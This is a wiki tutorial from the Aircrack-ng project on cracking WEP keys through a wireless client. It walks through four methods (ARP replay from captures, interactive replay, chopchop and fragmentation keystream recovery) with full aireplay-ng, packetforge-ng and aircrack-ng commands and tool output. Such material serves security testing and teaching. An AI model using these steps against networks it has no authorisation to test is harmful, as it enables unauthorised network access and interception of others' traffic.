Aircrack-ng

This page is read only. You can view the source, but not change it. Ask your administrator if you think this is wrong.
====== Tutorial:  How to crack WEP via a wireless client ? ======
Version: 1.17 September 11, 2009 \\
By: darkAudax \\
\\
File linked to this tutorial: [[http://download.aircrack-ng.org/wiki-files/other/arpcapture-01.cap|arpcapture-01.cap]]


===== Introduction =====
There has been a lot of discussion over time of how to use a wireless client workstation to generate packets to crack   WEP instead of the wireless access point itself. This tutorial describes four approaches with examples of how to do this. The examples provided are from real working equipment, not theory.  Each was used in real life and successfully cracked the WEP keys.

The basic idea is to have the wireless client workstation generate data packets with IVs which we can use to crack the WEP key. Normally we have the access point itself generate the data packets with IVs.  So why would you need to leverage a wireless client workstation instead of the access point? Here are just a few of the reasons:

  * Some access points max out at 130k unique IVs
  * Client-to-client controls imposed by some access points
  * MAC address access controls
  * Access points which eliminate weak IVs
  * You can't successfully do a fake association
  * You are within range of a client but not the access point itself

I would like to acknowledge and thank the Aircrack-ng Team for producing such a great robust tool.  And also acknowledge the many other people who came up with the ideas and techniques described in this tutorial.  I certainly don't take credit for the techniques in this tutorial.  My role was simply to pull them together in one place and describe them in detail.

Please send me any constructive feedback, positive or negative.

===== Solution =====


====Assumptions used in this tutorial====

  * You have a wireless card with the same characteristics as the client. IE G and G, A and A. Not a B card and the client has a G card. Etc.
  * You have airodump-ng installed and fully working.
  * Your wireless rig is working and can inject packets.
  * You are physically close enough to the client to send packets to them and receive packets from them.
  * You have Wireshark installed and working.  Plus you have a basic understanding of how to use it.
  * You are using the aircrack-ng stable version of 0.9 or the development version of 1.0.  This is very important since there is a bug in 0.6.2 aireplay-ng which switches -k and -l IP addresses.

====Equipment used====

===Target client===
Operating system:  WinXP (not that it really matters) \\
MAC address: 00:0F:B5:46:11:19

===Access Point===
ESSID: teddy (not that it really matters) \\
MAC address: 00:14:6C:7E:40:80
Channel: 9

===Aircrack-ng System===
Operating System: Linux \\
MAC address: does not matter
Wireless interface used: ath0

===Ethernet wired Workstation===
Operating System: Linux \\
MAC address: 00:40:F4:77:F0:9B

===Ethernet wired Workstation===
Operating System: Linux \\
MAC address: 00:0D:60:2E:CC:E1

===Wireless Workstation===
Operating System: Linux \\
MAC address: 00:09:5B:EC:EE:F2




==== Scenarios ====

The tutorial covers four scenarios:
  * Scenario One: Pulling packets from captured data.
  * Scenario Two: Interactively pulling packets from live communication
  * Scenario Three: Creating a packet from a chopchop replay attack
  * Scenario Four: Creating a packet from a fragmentation attack

Now onto the details...
\\
\\
===Scenario One - Pulling packets from captured data===

We are going to use a packet from captured data.  Lets say you were running airodump-ng capturing packets to/from the access point and feel there are some arps you can use for injection.

ARP packets are not the only ones you can use.  I focus on these because they are guaranteed to succeed and are the easiest to find in a packet capture.  I say ARPs are guaranteed to succeed since the client must respond to an arp request directed at the client.  Remember it is not just any ARP.  It must be an ARP request for the specific client(s) you are targeting.

First, capture packets going to/from the access point in question.  To reduce the clutter, use a BSSID filter for the particular Access Point you are targeting and the specific channel.  In our example:

   airodump-ng --channel 9 --bssid 00:14:6C:7E:40:80 -w aprcapture ath0

You need one or more wireless clients active while you are doing this capture.  If there is little or no activity, it is unlikely you will capture anything of value.  While you are capturing packets, you can copy the file for analysis so that the capture can continue.  You can also run WireShark real time and view the packets as they arrive.

So now the objective is to find an ARP request packet coming from the ethernet or another wireless client via the access point to the client.  The client will always respond to the arp request for itself.   This means the client will broadcast an arp reply back to the originator on the ethernet via the access point.

Characteristics of the incoming packet we want:
  * BSSID: access point
  * Destination MAC: Broadcast (FF:FF:FF:FF:FF:FF)
  * Source MAC: anything
  * Packet length: 68 or 86 (68 is typical for arp request packets originating from wireless clients.  86 is typical for arp requests from wired clients.)

Characteristics of the outgoing packet we want:
  * BSSID: access point
  * Destination MAC: the source MAC address from the incoming packet meaning the client is responding to it.
  * Source MAC: MAC address of client
  * Packet length: 68 or 86 (68 is typical for arp packets originating from wireless clients.  86 is typical for arp packets from wired clients.)

In simple terms we are looking for an ARP request to the client and a subsequent reply.

First try Wireshark display filter of:

   (wlan.bssid == 00:14:6c:7e:40:80 and (frame.pkt_len>=68 and frame.pkt_len le 86))

This selects packets to/from the access point which have a packet length greater then or equal to 68 and a packet length of less then or equal to 86.

You will have to change wlan.bssid to the access point MAC address and possibly change the frame packet length values to match any local system variations.  The filter above should be a pretty good starting point.

Once you have zeroed in on some possible packets then you can use the following display filter to focus on a particular client:

   (wlan.bssid == 00:14:6c:7e:40:80 and (frame.pkt_len>=68 and frame.pkt_len le 86) and (wlan.da == ff:ff:ff:ff:ff:ff or wlan.sa == 00:0f:b5:46:11:19))

Change the wlan.sa value to the particular client you are targeting.  Change the frame packet length values to narrow it down if you need to.

In simple terms, we are looking for an ARP request and the subsequent reply.  The attached file aprcapture-01.cap has some real examples.  You can use the filters above on this file.

Here is a summary of what the packets are.  The numbers are the packets starting at one.  If you view the [[http://download.aircrack-ng.org/wiki-files/other/arpcapture-01.cap| sample arp file]] via WireShark then the numbers will match the following:

  * 391 - This is an arp request from a wired workstation to our client being broadcast by the AP.  It never gets answered and must have got lost.
  * 416 - The AP broadcasts the arp request received from the wired workstation. This is a repeat arp request via the AP since the first one (391) was never answered.
  * 417 - The client sends an arp response via the AP to the wired workstation.  Notice the short time period between the request and response.
  * 501 - A wireless workstation sends an arp request to the client via the AP.  This packet is really a request to the AP to broadcast the arp request.
  * 503 - The AP broadcasts the arp request to all the wireless clients.
  * 504 - The client sends an arp response to wireless workstation via the AP.  This packet is really a request to the AP to send the arp response to the wireless workstation
  * 506 - This is the arp response being retransmitted from the AP to the wireless workstation.

The two possible packets to use are 416 or 503. You can try both.  Number 503 is better since it will generate two data packets for each one you inject.  The two being the reply from the client to the AP and the AP to the wireless workstation.  Basically you double your data capture rate. People are always asking how to increase the injection rate, this one technique.

Once you have found one or more of these pairs then right-click the packets going to the client that you want within Wireshark and "mark" them. Then click "save as" and select "marked" to be saved as dsarprequests.cap or whatever file name you want. Now you hopefully have a file with ARP requests going to a specific client.

Remember that the packets selected are not guaranteed to work. They are just very likely candidates based on observation. You may need to try a few to get things to work.

Restart your packet capture if it not still going:

  airodump-ng --channel 9 --bssid 00:14:6C:7E:40:80 -w aprcapture ath0

Be sure NOT to use the "-''''-ivs" option since you will later use the PTW method to crack the WEP key. This is "aircrack-ng -z". The PTW requires the full packet and only works on arp request/reply packets.
 
Now use interactive replay in a second separate session:

  aireplay-ng -2 -r dsarprequests.cap ath0

You are now sending the ARP requests from your PC to the client directly, not through the access point.  The client will send an ARP reply for each request.  Now your data packets start zooming up.  Start aircrack-ng (aircrack-ng -z arpcapture*.cap) in a third session and determine the key!  Success!


===Scenario Two - Interactively pulling packets from live communication===

In this scenario we are going do the capture and injection in real time.  The objective is to select an arp request for a wireless client going to the client.  Then we reinject it to cause the wireless client to generate new unique IVs.

First, start capturing packets going to/from the access point in question.  To reduce the clutter, use a BSSID filter for the particular Access Point you are targeting and the specific channel.  In our example:

  airodump-ng --channel 9 --bssid 00:14:6C:7E:40:80 -w aprcapture ath0

Now start a separate second session to interactively capture and replay packets:

  aireplay-ng -2 -b 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 ath0

You will have to change "-b" to the MAC address of the access point in question.  Plus the minimum "-m" and maximum "-n" packet lengths may have to be tweaked based on origin of the packets and local environment.  Typically minimum of 68 and maximum of 86.  Some experimentation may be necessary.

The characteristics of the packet we are trying to select is:
  * BSSID: access point
  * Destination MAC: Broadcast (FF:FF:FF:FF:FF:FF)
  * Source MAC: anything
  * Direction: from Access Point
  * Packet length: 68 or 86 (68 is typical for arp packets originating from wireless clients.  86 is typical for arp requests from wired clients.)

Here is why we use the other values:
  * -d ff:ff:ff:ff:ff:ff  (means only select packets which are Broadcast)
  * -f 1 (means only select packets which are coming from the access point)

Here is an example of a packet we would select:

  Read 210 packets...
  
        Size: 68, FromDS: 1, ToDS: 0 (WEP)
  
             BSSID  =  00:14:6C:7E:40:80
         Dest. MAC  =  FF:FF:FF:FF:FF:FF
        Source MAC  =  00:09:5B:EC:EE:F2
  
        0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
        0x0010:  0009 5bec eef2 409a 7501 0000 1a85 1808  ..[...@.u.......
        0x0020:  3820 91ae 6e38 248d 0555 1703 b645 24a7  8 ..n8$..U...E$.
        0x0030:  3e0e 943b f531 66a2 a825 adf9 178d 3699  >..;.1f..%....6.
        0x0040:  7903 7765                                y.we
  
  Use this packet ?

Remember, the objective is to select an arp request for a wireless client going to the client.  Since you don't know the contents of the packets you are selecting, you may need to try a few packets to get it to work. The ARP request must be for a wireless client. Once you are successfully injecting packets, start aircrack-ng to determine the WEP key.

=== Scenario Three - Creating a packet from a chopchop replay attack ===

We first need to generate the xor file. This file gives us the ability to create new encrypted packets for injection.

You run the following command and select a packet which is a decent size.  It has to be larger then the ARP packet we want to create. So pick something like 86 or more bytes. As well we need to determine the IP address of the wireless workstation we are targeting. So pick a packet with a source or destination MAC address of the workstation. The reason for this is that we will later use tcpdump to look at the decrypted packet and obtain the IP address.

Run "aireplay-ng -4 ath0 -h 00:0F:B5:46:11:19".

Change the -h to be the MAC address of a client associated with the AP.  You can also do a fake association and use this MAC.  It is just simply easier to use a MAC already associated with the AP.

Although this example is an arp request, as mentioned above, you should try to pick a packet to or from the workstation.  Here is example output:

        Size: 86, FromDS: 1, ToDS: 0 (WEP)
  
             BSSID  =  00:14:6C:7E:40:80
         Dest. MAC  =  FF:FF:FF:FF:FF:FF
        Source MAC  =  00:40:F4:77:F0:9B
  
        0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
        0x0010:  0040 f477 f09b 60e3 6201 0000 55b1 496a  .@.w..`.b...U.Ij
        0x0020:  ff2d a9ad 8161 7888 8d2d 08a7 3d10 4712  .-...ax..-..=.G.
        0x0030:  1bd2 8701 8674 82b3 8746 22e3 d4d5 4e85  .....t...F"...N.
        0x0040:  9911 679d b99d 4996 0c01 d7b4 6549 1840  ..g...I.....eI.@
        0x0050:  0723 54fb 488d                           .#T.H.
  
  Use this packet ? y
  
  Saving chosen packet in replay_src-1231-132955.cap
  
  Offset   85 ( 0% done) | xor = C4 | pt = 49 |   41 frames written in   124ms
  Offset   84 ( 1% done) | xor = 89 | pt = C1 |  228 frames written in   684ms
  Offset   83 ( 3% done) | xor = DB | pt = 20 |  129 frames written in   387ms
  Offset   82 ( 5% done) | xor = 28 | pt = 7C |  245 frames written in   735ms
  Offset   81 ( 7% done) | xor = 23 | pt = 00 |    5 frames written in    15ms
  Offset   80 ( 9% done) | xor = 07 | pt = 00 |   30 frames written in    90ms
  Offset   79 (11% done) | xor = 40 | pt = 00 |   29 frames written in    87ms
  Offset   78 (13% done) | xor = 18 | pt = 00 |    6 frames written in    18ms
  Offset   77 (15% done) | xor = 49 | pt = 00 |  171 frames written in   513ms
  Offset   76 (17% done) | xor = 65 | pt = 00 |  249 frames written in   747ms
  Offset   75 (19% done) | xor = B4 | pt = 00 |   88 frames written in   264ms
  Offset   74 (21% done) | xor = D7 | pt = 00 |  156 frames written in   469ms
  Offset   73 (23% done) | xor = 01 | pt = 00 |  249 frames written in   746ms
  Offset   72 (25% done) | xor = 0C | pt = 00 |   63 frames written in   189ms
  Offset   71 (26% done) | xor = 96 | pt = 00 |   12 frames written in    36ms
  Offset   70 (28% done) | xor = 49 | pt = 00 |   45 frames written in   135ms
  Offset   69 (30% done) | xor = 9D | pt = 00 |    7 frames written in    21ms
  Offset   68 (32% done) | xor = B9 | pt = 00 |  224 frames written in   672ms
  Offset   67 (34% done) | xor = 9D | pt = 00 |  153 frames written in   459ms
  Offset   66 (36% done) | xor = 67 | pt = 00 |  194 frames written in   583ms
  Offset   65 (38% done) | xor = 11 | pt = 00 |   19 frames written in    56ms
  Offset   64 (40% done) | xor = 99 | pt = 00 |  127 frames written in   381ms
  Offset   63 (42% done) | xor = E8 | pt = 6D |  209 frames written in   627ms
  Offset   62 (44% done) | xor = 79 | pt = 37 |  139 frames written in   417ms
  Offset   61 (46% done) | xor = 7D | pt = A8 |   53 frames written in   159ms
  Offset   60 (48% done) | xor = 14 | pt = C0 |   76 frames written in   228ms
  Offset   59 (50% done) | xor = E3 | pt = 00 |  204 frames written in   612ms
  Offset   58 (51% done) | xor = 22 | pt = 00 |   47 frames written in   141ms
  Offset   57 (53% done) | xor = 46 | pt = 00 |  203 frames written in   608ms
  Offset   56 (55% done) | xor = 87 | pt = 00 |  122 frames written in   367ms
  Offset   55 (57% done) | xor = B3 | pt = 00 |    9 frames written in    27ms
  Offset   54 (59% done) | xor = 82 | pt = 00 |  223 frames written in   669ms
  Offset   53 (61% done) | xor = 47 | pt = 33 |  241 frames written in   723ms
  Offset   52 (63% done) | xor = B1 | pt = 37 |  123 frames written in   368ms
  Offset   51 (65% done) | xor = A9 | pt = A8 |   20 frames written in    60ms
  Offset   50 (67% done) | xor = 47 | pt = C0 |   97 frames written in   291ms
  Offset   49 (69% done) | xor = 49 | pt = 9B |  188 frames written in   564ms
  Offset   48 (71% done) | xor = EB | pt = F0 |   47 frames written in   143ms
  Offset   47 (73% done) | xor = 65 | pt = 77 |   64 frames written in   190ms
  Offset   46 (75% done) | xor = B3 | pt = F4 |  253 frames written in   759ms
  Offset   45 (76% done) | xor = 50 | pt = 40 |  109 frames written in   327ms
  Offset   44 (78% done) | xor = 3D | pt = 00 |  242 frames written in   726ms
  Offset   43 (80% done) | xor = A6 | pt = 01 |  194 frames written in   583ms
  Offset   42 (82% done) | xor = 08 | pt = 00 |   99 frames written in   296ms
  Offset   41 (84% done) | xor = 29 | pt = 04 |  164 frames written in   492ms
  Offset   40 (86% done) | xor = 8B | pt = 06 |   69 frames written in   207ms
  Offset   39 (88% done) | xor = 88 | pt = 00 |  137 frames written in   411ms
  Offset   38 (90% done) | xor = 70 | pt = 08 |  229 frames written in   687ms
  Offset   37 (92% done) | xor = 60 | pt = 01 |  232 frames written in   696ms
  Offset   36 (94% done) | xor = 81 | pt = 00 |   19 frames written in    57ms
  Offset   35 (96% done) | xor = AB | pt = 06 |  230 frames written in   690ms
  Sent 969 packets, current guess: C5...
  
  The AP appears to drop packets shorter than 35 bytes.
  Enabling standard workaround: ARP header re-creation.
  
  Warning: ICV checksum verification FAILED!
  
  Saving plaintext in replay_dec-1231-133021.cap
  Saving keystream in replay_dec-1231-133021.xor
  
  Completed in 22s (2.18 bytes/s)

So look at the decrypted packet with Wireshark or tcpdump to get the IP information you need. See below for an example. In this case, we are ultra lucky and get the IP of the target wireless workstation. You may have to try a few packets to get the IP of wireless workstation.

  tcpdump -n -vvv -e -s0 -r replay_dec-1231-133021.cap
  reading from file replay_dec-1231-133021.cap, link-type IEEE802_11 (802.11)
  13:30:21.150772 0us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:f0:9b LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp who-has 192.168.55.109 tell 192.168.55.51

Now we have the wireless workstation IP and use the xor file above to create an ARP packet.  Be absolutely sure to include the -j and -o switches below.

However, So if you are using 0.9 then the correct command is:

  packetforge-ng --arp -a 00:14:6C:7E:40:80 -c 00:0F:B5:46:11:19 -h 00:40:F4:77:F0:9B -j -o -l 192.168.55.109 -k 192.168.55.51 -y replay_dec-1231-133021.xor -w arpforge.cap

  * -a 00:14:6C:7E:40:80 access point MAC address
  * -c 00:0F:B5:46:11:19 MAC address of the target wireless workstation
  * -h 00:40:F4:77:F0:9B MAC address from a workstation on the ethernet.  You can make up a MAC address if you don't know a valid one.
  * -l 192.168.55.109
  * -k 192.168.55.51
  * -y replay_dec-1231-133021.xor
  * -j set FromDS bit
  * -o clear ToDS bit

The command example below is correct for version 0.6.2 for what we want to do.  There was a bug in version 0.6.2 where by -k and -l parameters were reversed.
 
  packetforge-ng --arp -a 00:14:6C:7E:40:80 -c 00:0F:B5:46:11:19 -h 00:40:F4:77:F0:9B -j -o -k 192.168.55.109 -l 192.168.55.51 -y replay_dec-1231-133021.xor -w arpforge.cap

After creating the packet, use tcpdump to review it from a sanity point of view.  See below.  It looks good!

  tcpdump -n -vvv -e -s0 -r arpforge.cap           
  reading from file arpforge.cap, link-type IEEE802_11 (802.11)
  13:32:06.523444 WEP Encrypted 258us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:f0:9b Data IV:162 Pad 0 KeyID 0

Since you are testing against your own AP (you are, right?), then decrypt the packet and ensure it is correct.  These steps are not required, they just prove to yourself that you have generated the correct packet.

Decrypt the packet:

   airdecap-ng -e teddy -w <put your WEP key here> arpforge.cap

View the decrypted packet:

   tcpdump -n -r arpforge-dec.cap

It should be something like:

  reading from file arpforge-dec.cap, link-type EN10MB (Ethernet)
  16:44:53.673597 arp who-has 192.168.55.51 tell 192.168.55.109

This is good since we know our client is 192.168.55.109 and we wanted an arp request addressed to the client.

Now inject the packet:

  aireplay-ng -2 -r arpforge.cap ath0

At this point, you should be generating data packets via the wireless workstation and can use aircrack-ng in the normal manner to crack the WEP key.


===Scenario Four: Creating a packet from a fragmentation attack===

The fragmentation replay attack is basically the same as chopchop.   The key difference is that the fragmentation attack is used to obtain the xor file instead of the chopchop technique.

First, you either have to use a MAC address from a client which is already associated with the AP or do fake authentication.

One of the challenges is determining what IP to use in the "aireplay-ng -5" command since in theory you don't know the IP range in use on the wireless network.  There are a couple of strategies that could be used.  Based on the wireless access point, a good guess is the default address range for the make/model.  Very few people change the default addresses.  Another is to see if internal IPs leak via web servers/pages, e-mail headers, etc.  You need to be innovative.

Having said that, there is a trick which works on most APs.  Just use an IP of 255.255.255.255.  By default, aireplay-ng uses 255.255.255.255 for both the source and destination IPs.

There are some hardware constraints for the fragmentation attack:
  * It does not support prism chipsets
  * Atheros chipsets:  The MAC address of the card MUST be the same as source MAC address of the packets you are generating.  Use your favourite method to change the MAC of your card.
  * It sometimes does not work smoothly with ralink.
  * It supports Broadcom chipsets only with the b43/b43legacy drivers, not bcm43xx.
  * Mac80211-based drivers (b43, rt2x00, etc) currently require a patch for the mac80211 stack.
  * Keep an eye on the forums for more compatibility information.

Here is the command to run:

  aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:0F:B5:46:11:19 ath0

  Waiting for a data packet...
  
        Size: 144, FromDS: 1, ToDS: 0 (WEP)
  
             BSSID  =  00:14:6C:7E:40:80
         Dest. MAC  =  00:0F:B5:46:11:19
        Source MAC  =  00:0D:60:2E:CC:E1
  
        0x0000:  0842 0201 000f b546 1119 0014 6c7e 4080  .B.....F....l~@.
        0x0010:  000d 602e cce1 1083 7214 0000 5da7 d458  ..`.....r...]..X
        0x0020:  6c90 0329 12ab 3d03 c37d 600b cdac 2706  l..)..=..}`...'.
        0x0030:  19c7 9253 65b3 f163 1a17 8005 04ff 961f  ...Se..c........
        0x0040:  01c4 0f6a 0047 e38b cb00 c303 f805 d96f  ...j.G.........o
        0x0050:  6c14 2479 bb5b aae3 f5f4 4f40 fc42 d703  l.$y.[....O@.B..
        0x0060:  8d49 1b91 4d5e 0787 a737 1d18 62a2 a828  .I..M^...7..b..(
        0x0070:  75ab fdbb e3c2 e276 18c9 7641 a655 a4d2  u......v..vA.U..
        0x0080:  acc4 d9f9 8c1b a12b be35 99a7 b793 5bec  .......+.5....[.
  
  Use this packet ?

You answer "y" and then the fragmentation attack starts.  Here is the output.  Sometimes you need to try multiple packets to be successful.

  Saving chosen packet in replay_src-0113-170504.cap
  Data packet found!
  Sending fragmented packet
  Got RELAYED packet!!
  Thats our ARP packet!
  Trying to get 384 bytes of a keystream
  Got RELAYED packet!!
  Thats our ARP packet!
  Trying to get 1500 bytes of a keystream
  Got RELAYED packet!!
  Thats our ARP packet!
  Saving keystream in fragment-0113-170526.xor
  Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Bingo!  The file **fragment-0113-170526.xor** contains the xor file to then generate your arp packet for replay.

From here, it is identical to the chopchop approach. The big challenge is knowing the IP addresses to use. As mentioned above, you need to be innovative.